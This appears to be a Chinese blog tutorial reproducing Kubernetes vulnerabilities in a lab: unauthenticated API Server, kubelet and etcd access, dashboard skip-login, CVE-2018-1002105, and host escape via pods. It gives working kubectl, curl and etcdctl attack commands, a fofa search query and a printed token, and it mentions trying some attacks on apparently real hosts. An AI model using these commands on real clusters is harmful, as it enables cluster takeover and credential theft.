k8s学习及漏洞复现-上
k8s基础知识
常见的pod状态
pod
pod常见的状态:
第一阶段:
挂起(Pending):
1、正在创建Pod但是Pod中的容器还没有全部被创建完成,处于此状态的Pod应该检查Pod依赖的存储是否有权限挂载、镜像是否可以下载、调度是否正常等
2、我们在请求创建pod时,条件不满足,调度没有完成,没有任何一个节点能满足调度条件,已经创建了pod但是没有适合它运行的节点叫做挂起,调度没有完成。
失败(Failed):Pod 中的所有容器都已终止了,并且至少有一个容器是因为失败终止。也就是说,容器以非0状态退出或者被系统终止。
未知(Unknown):未知状态,所谓pod是什么状态是apiserver和运行在pod节点的kubelet进行通信获取状态信息的,如果节点之上的kubelet本身出故障,那么apiserver就连不上kubelet,得不到信息了,就会看Unknown,通常是由于与pod所在的node节点通信错误。
Error 状态:Pod 启动过程中发生了错误
成功(Succeeded):Pod中的所有容器都被成功终止,即pod里所有的containers均已terminated。
已终止(Terminated) 处于Terminated状态的容器已经开始执行并且或者正常结束或者因为某些原因失败。 如果你使用kubectl来查询包含Terminated状态的容器的 Pod 时, 你会看到容器进入此状态的原因、退出代码以及容器执行期间的起止时间
第二阶段:
Unschedulable:Pod不能被调度, scheduler没有匹配到合适的node节点
PodScheduled:pod正处于调度中,在scheduler刚开始调度的时候,还没有将pod分配到指定的node,在筛选出合适的节点后就会更新etcd数据,将pod分配到指定的node
Initialized:所有pod中的初始化容器已经完成了
ImagePullBackOff:Pod所在的node节点下载镜像失败
Running:Pod内部的容器已经被创建并且启动。
扩展:还有其他状态,如下:
Evicted状态:出现这种情况,多见于系统内存或硬盘资源不足,可df-h查看docker存储所在目录的资源使用情况,如果百分比大于85%,就要及时清理下资源,尤其是一些大文件、docker镜像。
CrashLoopBackOff:容器曾经启动了,但可能又异常退出了
k8s-漏洞环境搭建
1 | #麻省理工大学ubuntu20 源 |
开源项目metarget
在研究漏洞时,我们经常会发现“环境搭建”这一步骤本身就会占用大量的时间,与之相比,真正测试PoC、ExP的时间可能非常短。由于许多官方镜像在国内的网络环境下并不方便获得,加上云原生组件自身的复杂性,在云原生安全领域,前述问题尤为明显。
与此同时,我们也能看到,开源社区涌现出一些优秀的安全项目,如Vulhub、VulApps等,将漏洞场景打包成镜像,方便研究人员开箱即用。
然而,这些项目主要针对应用程序漏洞。那么,如果我们需要研究的是Docker、Kubernetes、操作系统内核等底层基础设施自身的漏洞呢?这又回到了前面的环境搭建问题。
我们希望Metarget能够在一定程度上解决这个问题,致力于底层基础设施的脆弱场景自动化构建。在此之上,我们还希望Metarget实现对云原生环境多层次脆弱场景的自动化构建。
安装metarget
官方已经给好了安装方式,简单操作即可,安装k8s之前要先安装docker,傻瓜式操作,一键安装。
这里官方推荐使用ubuntu16或者18,笔者在这里推荐必须用ubuntu18,因为笔者在ubuntu20上研究了两天利用metarget安装k8s都没有成功,中间会出现各种各样的错误。
1 | #克隆项目 |
在安装完依赖后,要先安装一个docker ,不让直接装k8s是不行的。
用metarget 装 很简单./metarget gadget install docker --version 18.03.1
在这其中,我们可以加参数,–verbose显示详细的安装过程,方便调试像这样./metarget gadget install docker --version 18.03.1 --verbose
k8s 一些重要的命令
1 | #在本机上查看node |
Api Server 未授权访问(8080和6443)
使用metarget 安装k8s
./metarget gadget install k8s --version=1.16.5
这个时候会出现安装成功,安装成功后,就会默认的启动很多的POD
相应的使用netstat -tulnp
会显示映射了很多端口
默认情况,Kubernetes API Server提供HTTP的两个端口:8080,6443
insecure-port: 默认端口8080,在HTTP中没有认证和授权检查。
secure-port :默认端口6443, 认证方式,令牌文件或者客户端证书.
insecure-port 默认在高版本中是不会打开的,secure-port 默认是会打开的,但是访问时存在鉴权
https://ip:6443/ 访问这个6443端口时,如下图403
8080端口未授权
cat /etc/kubernetes/manifests/kube-apiserver.yaml
1 | apiVersion: v1 |
后可以查看一些配置参数,这个文件是会被实时读取的,改过配置文件后,不需要重启服务
其中未授权端口就是insecure-port端口设置, - --insecure-port=0
看了很多文章并没说那个版本以前会默认开启,只说了1.20版本后该选项已无效化,也就是说,1.20版本后,该参数直接没了,如果想启用,需要管理者手动添加。
我们将这里改为8080,并且加上bind-address,保存就会看到开启了8080端口
1 | - --insecure-port=8080 |
这里笔者用http://ip:8080/访问成功
https://ip:8080/ https没有成功
在实战中显示这个并不一定能利用,要显示很长这种才可能利用。
接下来利用,直接在kali中安装kubectl ,apt install kubectl 即可
执行命令查看node,kubectl -s ip:8080 get node
即可看到服务器上的node
kubectl -s ip:8080 get namespace
kubectl -s ip:8080 get pods -n kube-system
列出某个namespace的pods
kubectl -s ip:8080 --namespace=kube-system exec -it etcd-racknerd-6d0a89 ip a
使用这个命令就可以在某个pod上执行命令了
kubectl -s ip:8080 --namespace=kube-system exec -it etcd-racknerd-6d0a89 sh
笔者在执行交互命令的时候,用bash没有成功,应该是对方的pod环境没有,sh就有了,这样就可以愉快的命令执行了。这些命令看起来和docker命令差不多。
我们也可以使用metarget安装一个dvwa,或者php的rce都可以
1 | #这个命令会安装一个dvwa的pod,把这个pod放到metarget(namespace)下面 |
笔者在这里搭建了一个dvwa 一个thinkphp的RCE用于测试,暴漏的端口分别是30000和30001
未授权漏洞也是可以看到的
命令总结
1 | kubectl -s 27.223.94.14:8080 get node |
在实战中也是可以利用的,
失败的实战
但是在执行命令的时候,试了好几个pod都显示没有空间了,不可思议
还有这种,列pod中,pod是存在的,但是执行的时候显示不存在,不理解,可以pod清空了?
这种没有权限的,这种可以参考这个文章,https://blog.csdn.net/zhuyongru/article/details/114060199
大致意思就是对方开启了RBAC规则,简单的来说就是apiserver没有访问kubelet IPI的权限,这样就403了
成功
6443端口未授权
如果不小心,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令,
默认访问6443端口会显示
1 | { |
根据message的字面意思也很好理解,也就是anonymous不能访问这个path,
这个时候管理员不小心使用了命令,kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
那么就会导致anonymous可以任意访问了,
https://ip:6443/api/v1/namespaces/default/pods
通过浏览器获取到所有pods,
这个时候就可以利用了,和上面的8080端口未授权利用方式差不多
1 |
|
这里可以注意到让输入账户密码,随便输即可。
如果在查看namespace的时候发现有dashboard的话,那么说明环境中存在面板,这个时候,我们就可以获取到面板的token,来登录面板。
可以看到有kubernetes-dashboard,输入下面的命令到浏览器中
https://ip:6443/api/v1/namespaces/kubernetes-dashboard/secrets/
经过测试,在其中会有多个pods,带有admin-user-token的应该就是这个pod的token了,拿出来base64一下,不要解jwt,ey开头的值,
如果环境对外映射了面板,那么就可以愉快的登录了。测试环境中好像都是映射到9090端口。
这样就直接托管了整个k8s。
这里会有小伙伴有疑问,上面用kubectl –insecure-skip-tls-verify -s https://ip:6443 -n kube命令打着打着,怎么跳到用浏览器请求了,获取token了。
这里其实是因为,笔者在这里太菜了,上面8080端口的未授权利用可以获取到pods namespace等信息,那便是可以获取到token的,这里提前说一下其实获取token的作用就是登录面板的,下面会说到,在宿主主机上执行kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
便可获取到token,它是用来登录面板的,那么同理可得,如果6443端口存在未授权,那么这里就可以获取token,笔者在这里试了好多种linux转义,都没有成功,如果有成功的大师傅可以留言,感谢感谢
1 | kubectl --insecure-skip-tls-verify -s https://ip:6443 -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admpath=\"{.secrets[0].name}\") -o go-template=\"{{.data.token \| base64decode}}\" |
这里如果没有k8面板的话,也没有关系,直接使用浏览器创建pods也可行,
1 | POST /api/v1/namespaces/default/pods |
回显201就表示创建成功了,
浏览器访问也就可以看到,也可以命令执行
笔者在测试的时候,一开始创建pod会失败,
输入kubectl describe pod test-44441 –namespace default,可以看到相关的报错
显示tomanyrequest,应该是拉取的太快了,
docker官方的说法是没登陆6小时拉去100,登录了之后6小时拉去200。应该是拉去太快了。
在该机器上执行命令kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test-44441 bash
感觉在实战中,这种创建pod的操作用不上,因为这里漏洞是未授权,而未授权可以接管整个k8s集群,那么再去创建一个pod起步多此一举。当然也可以用做是一个跳板,或者入口机。
失败的从pod到api server
看了这个大师傅的文章
https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/
大师傅的文章,是打华为云的比赛,在一个pod下面拿到了一个shell,然后从这个pod查看/run/secrets/kubernetes.io/serviceaccount/token文件获取了api-server的token,然后通过这个token 接管整个集群,从而达到了比赛的非预期。
那么思考,这个问题能不能在测试中利用。经过测试是不可以的。也不能说不可以,只能说鉴权不够,师傅的比赛环境,是管理员配置错误所导致的。
分析过程
首先如果我们进去一个pod之后,我们查看这个/run/secrets/kubernetes.io/serviceaccount/token文件,是所有权限都可以查看的,777。
大师傅在打比赛时创建的配置文件如下,
1 | apiVersion: v1 |
可以看到配置文件中的权限是admin的,所以,想使用这个pod拿到shell,获取token打apiserver。
这里笔者在测试的时候,似乎这个pod连接不到apiserver,但是apiserver显示的确实是这里
这里比较我们两个的token
1 | #我的 |
大师傅的
可以看到,两者相差不多,且都是system:serviceaccount:default:default”,
这里猜测应该是管理员将将”system:serviceaccount”用户绑定到”cluster-admin”用户组,从而使得非预期存在,也就直接打通了apiserver
获取宿主机权限-通过k8s dashboard,创建特权Pods
正常情况环境搭建
出现改问题的原因是因为在启动dashborad的时候,管理员为了方便,修改了配置,跳过了登录。
首先安装dashborad
1 | wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml |
下载完成后,不可以直接访问,要起一下kubectl apply -f recommended.yaml
然后在做映射 kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80
,
将80端口映射出去,如果不行就映射443kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:443
这个时候应该还是访问不到到,因为没在配置文件中把访问ip改掉
1 | vim recommended.yaml`后 |
root@bohemian:/tools/k8syaml# kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:443
Forwarding from 127.0.0.1:9090 -> 8443
Forwarding from [::1]:9090 -> 8443
这种方式如果映射不成功的话,可以试试下面这种映射方式kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443
然后用google访问似乎不行,换成火狐就可以了
这里要注意,yaml的文本是非常严格的,笔者上图中的- -- insecure-bind-address=0.0.0.0
是不对的,不要带那个空格,不让可能会出现connection refused
接下来就是创建账号,当然这里也可以使用从webshell获取到的token进行登录。
这里可以注意到,这个账户为admin-user,role为cluster-admin
1 | #sudo vim account.yaml |
1 | #应用一下这个文件 |
即可登录进来。
这里为了方便,我们用./metarget拉一个thinkphp
./metarget appv install thinkphp-5-0-23-rce –external
这样便搭建完成。
这里可以看到,在我们登录的过程中,是没有登录密码的,登录上来需要token,而这个token的获取需要登录到服务器上,这样是很麻烦的。所以管理员可能会在创建面板的时候配置跳过这个面板登录,这就给我们了可乘之机。
skip配置错误环境搭建
其实就是在刚刚的那个配置文件中加一条语句即可- --enable-skip-login
加完后更新一下配置。
1 | #改完配置后加载一下配置 |
这个时候就会发现有个跳过按钮了,直接点即可。点右上角的加号,创建pod,这里创建的时候报错,
Deploying file has failedroles.rbac.authorization.k8s.io is forbidden: User "system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard" cannot create resource "roles" in API group "rbac.authorization.k8s.io" in the namespace "default"
没有权限,
根据这篇大师傅文章发现,还要有一个配置错误才可以
我们在配置文件中另起一行,添加如下内容
这里改完之后也不能控制面板,只能跳过登录上去,在渗透测试实战因为没有权限不似乎起不到什么作用。
我们还是使用token登录吧。登录上来之后就可以管理pods了
1 | apiVersion: v1 |
可以看到defaultnamespace的pods,此时只需要选中pods执行即可进入到shell中
k8s10250端口未授权
默认安装k8s的时候,会自动暴漏10250端口,在这个端口上运行者kubelet,kubelet的作用是在集群中每个节点运行,对容器进行生命周期的管理。运行在集群的每个节点上,负责向 API Server 注册所在的节点
正常情况下,默认访问10250端口会显示404
访问其他路由会显示Unauthorized
如果管理员误将配置信息配置错误,那将会导致直接接管整个k8s集群。
但是如果将/var/lib/kubelet/config.yaml
中的anonymous改为true,那么也就会导致所有的用户访问(啊这,感觉这个漏洞在实战中出现的机率不大,目前还没看出来,管理员改这个的动机是什么。
)
其他大师傅的文章写了将authorization.mode修改为AlwaysAllow,这里我没有更改也成功了,也有可能是版本问题把,不太清楚了。
改完配置后,要重启一下systemctl restart kubelet
这个时候再用浏览器访问https://ip:10250/runningpods/即可看到所有的pods了
访问这个端口不需要认证,那么就意味着,可以控制其中的pods了。curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
这个curl命令执行进行,其中需要三个参数,这三个参数可以在/runningpods/中获取,也就是上图
curl -XPOST -k "https://ip:10250/run/default/test-44441/test-44441" -d "cmd=id"
也可以在浏览器中直接打
这样就直接可以命令执行了,curl -XPOST -k "https://ip:10250/run/default/test-44441/test-44441" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
也可以使用这个命令获取该pods的token,但是,这里要注意,这个pods的token默认大概率不会是admin权限。当然这个token也是可以登录面板的。
一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token
如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
意外的发现
在/runningpods/路由中,也查看到所有的运行的pods,那其实肯定还有其他的路由。https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html
在这篇文章中列出了所有的api,其中我在logs路由中发现
存在目录遍历,仔细一看会发现,这好像是宿主主机上的/var/log、目录
那么也就是说,k8s在这里直接就映射了宿主主机的目录,并且是可以查看到
https://ip:10250/logs/apache2/![image-20240103164438478](/images/k8s/image-20240103164438478.png)
我还特意装了一个apache的,访问默认日志完全没有问题
k8setcd未授权
在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。
在 K8s 集群初始化后,etcd 默认就以 pod 的形式存在,可以执行如下命令进行查看,etcd 组件监听的端口为 2379。
为什么会出现etcd未授权
在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害
etcd默认端口2379
ps: 不过在安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。
这里经过研究发现,好像不同的搭建方式,在暴漏端口的时候是不同的,笔者在搭建的时候用的是metarget这个项目,搭建出来,直接就对公网开放,在参考其他大师傅搭建
这里可以看到默认访问2379端口是需要认证的。
漏洞环境搭建
很简单,只需要将etcd的配置文件/etc/kubernetes/manifests/etcd.yaml改一下即
可,此时将–client-cert-auth写入到这个配置文件里面。
但这样我没有成功,
笔者将这里的默认true改为false,不用其他操作,等一会即可,
当访问https://ip:2379/version,的时候出现版本号,说明存在etcd未授权。或者`curl https://ip:2379/version -k`
这个时候就可以使用etcdctl打了,
首先安装etcdctl,在kali中,直接apt install etcd-client
即可etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get / --keys-only --prefix=true
测试一下
经过对几个大师傅的文章分析,这个etcd未授权漏洞,都是直接获取apiserver的token,然后去到6443端口接管整个集群
etcdctl –insecure-transport=false –insecure-skip-tls-verify –endpoints=https://ip:2379/ get / –keys-only –prefix=true
执行这个命令会显示很多pods,images和其他信息,我们需要筛选一下重要的etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
就可以看到这个pods了,
接下来直接etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-c2vnw
把那个get后面的替换掉即可
token就在下面
kubectl –insecure-skip-tls-verify -s https://ip:6443 –token=”eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW50cGcyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5Y2I0MGU3OC05NDllLTRhZTUtYWQ2OC1mNWU4MjVjNjg1YTAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.cJhYptSRTfI2SPTJBEMGvgmQQHTapQuUu7jJZbAlMzOiSJtaotjLZaQJo8DpoEbg0iTI_2CyC_vPqY0nj6dQyMdu5gV7nXJTJ-H5Po30-vP13bCSDesILPjP-gDMJfbrsB4RwYq_ngTnytm0MBC4k2ZBx2BH6mCXpQaGq_eU0ItmbZhKUmHSocp8AqaLsA_GAdtjhcl6whWvva1zQfWeHJ1tNrqrsmNVAXAeHQnBpJV72FFOtwi6oXryA0a4yV4QuMdYdhhEpS1fObN0_bTB7XasRB0CF9fWuKEgE4FPaUHeq2KV3CHf2Y9JhF3pI3SmQlBZ7G2kGLLB3UYViFa-Pw” -n kube-system get pods
eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW50cGcyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5Y2I0MGU3OC05NDllLTRhZTUtYWQ2OC1mNWU4MjVjNjg1YTAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.cJhYptSRTfI2SPTJBEMGvgmQQHTapQuUu7jJZbAlMzOiSJtaotjLZaQJo8DpoEbg0iTI_2CyC_vPqY0nj6dQyMdu5gV7nXJTJ-H5Po30-vP13bCSDesILPjP-gDMJfbrsB4RwYq_ngTnytm0MBC4k2ZBx2BH6mCXpQaGq_eU0ItmbZhKUmHSocp8AqaLsA_GAdtjhcl6whWvva1zQfWeHJ1tNrqrsmNVAXAeHQnBpJV72FFOtwi6oXryA0a4yV4QuMdYdhhEpS1fObN0_bTB7XasRB0CF9fWuKEgE4FPaUHeq2KV3CHf2Y9JhF3pI3SmQlBZ7G2kGLLB3UYViFa-Pw
这里经过测试,发现clusterrole-aggregation-controller-token-c2vnw的权限是很小的,如果远程打,是获取不到pods的,403。
当然,如果机器安装了dashboard,也可以获取面板的token
面板的token也是不可以的。
经过分析其他大师傅的文章,这里不放放个其他大师傅的图了,仔细查看会发现他们打的时候,都是打的本机,也就是127.0.0.1,或者本机的内网地址,这是能够打通的.emmmmm,如果是内网,这样的话就不用那么麻烦了,如下图
这里的话,还可以看看其他pods,这里经过测验,直接匹配admin即可
找这种带secert的,大概率就是有权限的,再去请求,就可以
1 | #获取某个pods信息 |
实战利用
先记个fofa语法吧,就不实战利用了,没有授权,害怕。
1 | fofa语法: Etcd && port="2379" |
总的来说,etcd的未授权漏洞感觉在实战中碰到会很少,为什么这样说呢,因为这个漏洞存在是因为改了面板的一个配置,而这个配置,可能很少管理员会改,因为没有发现有啥动机能改这个配置。
历史apiserver提权漏洞(CVE-2018-1002105
)
CVE-2018-1002105是一个K8s提权漏洞,Kubernetes用户可以在已建立的API Server连接上,打通了client到kubelet的通道,实现提升k8s普通用户到k8s api server的权限。
漏洞影响版本:
- Kubernetes v1.0.x-1.9.x
- Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
- Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
- Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
漏洞利用条件:
参考https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#3-k8s-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E---cve-2018-1002105
k8s正常请求执行的链路是 client --> apiserver --> kubelet
即 client 首先对 apiserver 发起请求,例如发送请求 [连接某一个容器并执行 exec] ,请求首先会被发到 apiserver,apiserver 收到请求后首先对该请求进行认证校验,如果此时使用的是匿名用户,api server 上是可以通过认证的,但会授权失败,即 client 只能走到 apiserver 而到不了 kubelet 就被返回 403 并断开连接了。
所以本次攻击的先决条件是,需要有一个可以从 client 到 apiserver 到 kubelet 整个链路通信认证通过的用户。且要知道token,也就是那个csv里的文件password。
有些文章写的是获取到一个主机的root权限,然后笔者就以为如果拿到一个shell是root权限即可,其实不是。准确的来说是有一个低权限的pod命令执行的权限,还有token密码。这个密码的作用是鉴权准备好的pods的,但是不饿能访问其他pods,来实现越权。
漏洞利用:
1 | # cve_2018_1002105_pod.yaml |
这里都配置完成之后,也可以安装完成,但是测试请求的时候,报这个没有找到ubuntu容器,不知道为啥
看了一下,好像真的没有。
这里要注意,笔者在这里搭建环境的时候,发现,这个pod文件如果image写 image: ubuntu:latest,是起不来环境的,把image换成上面的image: nginx:1.14.2,这样就可以起来了
简单记录一下思路吧。就是获取到一个pod权限后,使用https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py
j脚本打,填写一些信息,
这里在使用exploit.py的时候,没有一个叫http_parser的库
aceback (most recent call last):
File “/tools/others/exp.py”, line 15, in
from http_parser.parser import HttpParser
ModuleNotFoundError: No module named ‘http_parser’
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File “/tools/others/exp.py”, line 17, in
from http_parser.pyparser import HttpParser
ModuleNotFoundError: No module named ‘http_parser’
在kali上面装半天没有装上,索性直接去我的ecs上装了一下,ecs ubuntu20
https://github.com/benoitc/http-parser/
项目地址,安装完成后,就可以用了,
python3 exploit.py --target 172.16.214.18 --port 6443 --bearer-token password --namespace test --pod test
就可以获取到三个证书文件,
有了这三个证书文件,直接就可以直接创建pods,
创建pods的
并且脚本已经把命令给好了,直接打即可,kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key get pods -n kube-system
拿到三个文件,就相当于,接管了整个集群了,接着上面的任意podsrce即可。
k8s逃逸
有了apiserver的权限就可以逃逸了,主要思路就是,有了apiserver权限,就可以创建pods,在创建的时候,直接把宿主主机的根目录映射出来。下面是创建pods的内容
1 | #推荐把那个镜像换掉,这里不太清楚为什么拉去不到啊 |
打的时候一定要把路径对齐。
1 | kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key --namespace=default exec -it attacker id |
kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key --namespace=default exec -it attacker id
靶机上看一眼
参考https://teamssix.com/220324-161756.html#toc-heading-1
因为这里还是还是
总结
这里其实可思考,在实战中可能出现这种情况的概率非常小,在k8s1.11版本发行的时间为2018年,那么也就是说,在这之后的都不可以了,2018年距今已经6年了,还有一个条件就是,要提前获取到一个pods的低执行权限,从才能下载到三个证书文件。
实战中的一些命令
总体看k8s的一些cve的漏洞,除了那几个未授权,利用条件似乎都比较苛刻。
在实战中,基本上是先拿到一个pods的shell,然后在进行一系列的操作比较多。
当我们获取了一个容器的 shell,首先执行 cat /proc/1/cgroup 是重要的。
出现这个kubepods,就是使用k8s进行编排的。
1 | env | grep KUBE |
查看当前环境是否为容器 cat /proc/1/cgroup看回显结果中是否有docker(这个方法一般要比ls /.dockerenv要准确,实测有些容器根目录下确实没有.dockerenv)
特权模式判断
特权模式逃逸是一种最简单有效的逃逸方法,攻击者可以通过挂载宿主机目录到容器某个目录下,直接通过命令、写ssh公钥和crontab等getshell。
创建容器时通过添加–privileged=true参数,将容器以特权模式起动
特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(0000001fffffffff代表为特权模式起)
不是
简单的判断,也可以使用磁盘挂载命令判断。
df -l ,mount
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考
1 | K8s etcd未授权访问 https://www.wangan.com/p/11v748294758597c |